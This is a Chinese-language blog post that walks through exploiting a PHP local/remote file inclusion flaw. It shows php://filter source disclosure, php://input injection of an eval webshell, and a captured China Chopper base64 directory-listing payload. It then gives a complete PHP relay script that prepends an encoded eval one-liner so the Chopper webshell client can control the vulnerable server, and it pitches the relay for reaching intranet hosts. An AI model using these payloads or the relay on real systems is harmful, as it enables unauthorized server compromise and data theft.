星哥突然丢了一个站,说是有本地包含。但是没有办法上传,说不知道怎么办?突然他很得瑟地说,给你们看一个神奇东西。
我觉得好像不是特别奇怪,因为ctf里面总是出这种包含然后读取源码的题目。
<?php require_once("$_GET[id]"); ?>
读取源码
xx.php?id=php://filter/read=convert.base64-encode/resource=index.php
所以理所当然地认为php://input也是可以的。
然后测试了下,发现那个站的确可以这样。
当时一直认为本地包含也可以这样用,后来也证实了我的无知。在本地搭建一次次失败之后,突然窑子和我说这个要开启远程包含,然后修改php.ini
把默认的Off改成On,就可以这样用了。
其实我刚开始一直以为本地包含也可以这样做,然后我就想了,可不可以把它搞到菜刀上,菜刀来连接。当时也就这么几个想法,第一:对菜刀进行抓包,抓到菜刀上传文件的数据包,然后替换。第二:利用php system之类的函数执行一些下载之类的命令。第三:把这个包含变成一句话,直接菜刀连接。(ps:当时觉得如果真的是这样做,包含直接转换成webshell感觉还不错)。
http://www.codersec.net/index.php?page=php://input
post数据 <?php eval($_POST['c']);?>&c=phpinfo();
说白了就是我们怎么想办法把原来的让
http://www.codersec.net/index.php?page=php://input
post数据 <?php eval($_POST['c']);?>
变成一句话,让菜刀来识别一下。
想了下,可以用本地中转的方式,把数据包抓过来,然后改造一下,加上<?php eval($_POST['c']);?>就行了。
就拿菜刀列目录这种功能来说,抓了一下包,发现了几个参数
c=@eval(base64_decode($_POST[z0]));&z0=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0+fCIpOzskRD1iYXNlNjRfZGVjb2RlKCRfUE9TVFsiejEiXSk7JEY9QG9wZW5kaXIoJEQpO2lmKCRGPT1OVUxMKXtlY2hvKCJFUlJPUjovLyBQYXRoIE5vdCBGb3VuZCBPciBObyBQZXJtaXNzaW9uISIpO31lbHNleyRNPU5VTEw7JEw9TlVMTDt3aGlsZSgkTj1AcmVhZGRpcigkRikpeyRQPSRELiIvIi4kTjskVD1AZGF0ZSgiWS1tLWQgSDppOnMiLEBmaWxlbXRpbWUoJFApKTtAJEU9c3Vic3RyKGJhc2VfY29udmVydChAZmlsZXBlcm1zKCRQKSwxMCw4KSwtNCk7JFI9Ilx0Ii4kVC4iXHQiLkBmaWxlc2l6ZSgkUCkuIlx0Ii4kRS4iCiI7aWYoQGlzX2RpcigkUCkpJE0uPSROLiIvIi4kUjtlbHNlICRMLj0kTi4kUjt9ZWNobyAkTS4kTDtAY2xvc2VkaXIoJEYpO307ZWNobygifDwtIik7ZGllKCk7&z1=QzpcXHd3d1xcYmFja2Rvb3JcXA==
放在浏览器上post一下,发现是可以的,这里只是没有权限
看来方向是对的,下一步就是想办法在原始的数据包前面加上
<?php eval($_POST['c']);?>&
本来想直接加上字符串
<?php @eval($_POST['c']);?>,但是由于编码的问题,导致出现了一些冲突,所以先把这个字符base64编码一下,就可以解决php语法报错了。
代码比较简单
<?php
$webshell = "http://127.0.0.1/backdoor/webshell.php?id=php://input";
$data=$_POST;
$str = 'PD9waHAgQGV2YWwoJF9QT1NUWydjJ10pOz8+';
$demos = base64_decode($str);
$data = http_build_query($data);
$data = $demos."&".$data;
$opts = array (
'http' => array (
'method' => 'POST',
'header'=> "Content-type: application/x-www-form-urlencoded\r\n" .
"Content-Length: " . strlen($data) . "\r\n",
'content' => $data)
);
$context = stream_context_create($opts);
$html = @file_get_contents($webshell, false, $context);
echo $html;
?>
其中
PD9waHAgQGV2YWwoJF9QT1NUWydjJ10pOz8+
就是
<?php @eval($_POST['c']);?> base64位以后的结果。
很简单,有点类似于base64中转过狗,将上面代码保存为includes.php
菜刀连接上它,密码填入c, 就可以愉快的用上菜刀了。
愉快的用菜刀
由于后面才知道php://input 必须开启远程包含,所以本地包含肯定是用不了的。有人会说,竟然都是远程包含,那么直接远程包含一句话不就行了。但是要考虑到一种,如果目标机器在内网,并且只映射到外网ip一个端口,换言之该机器本身不能访问到外网,那么也就不能利用传统的包含外网机器一句话了,那么这时候,这个脚本这种情况就比较适用了。
最后知道可以原来也可以直接在菜刀中设置密码。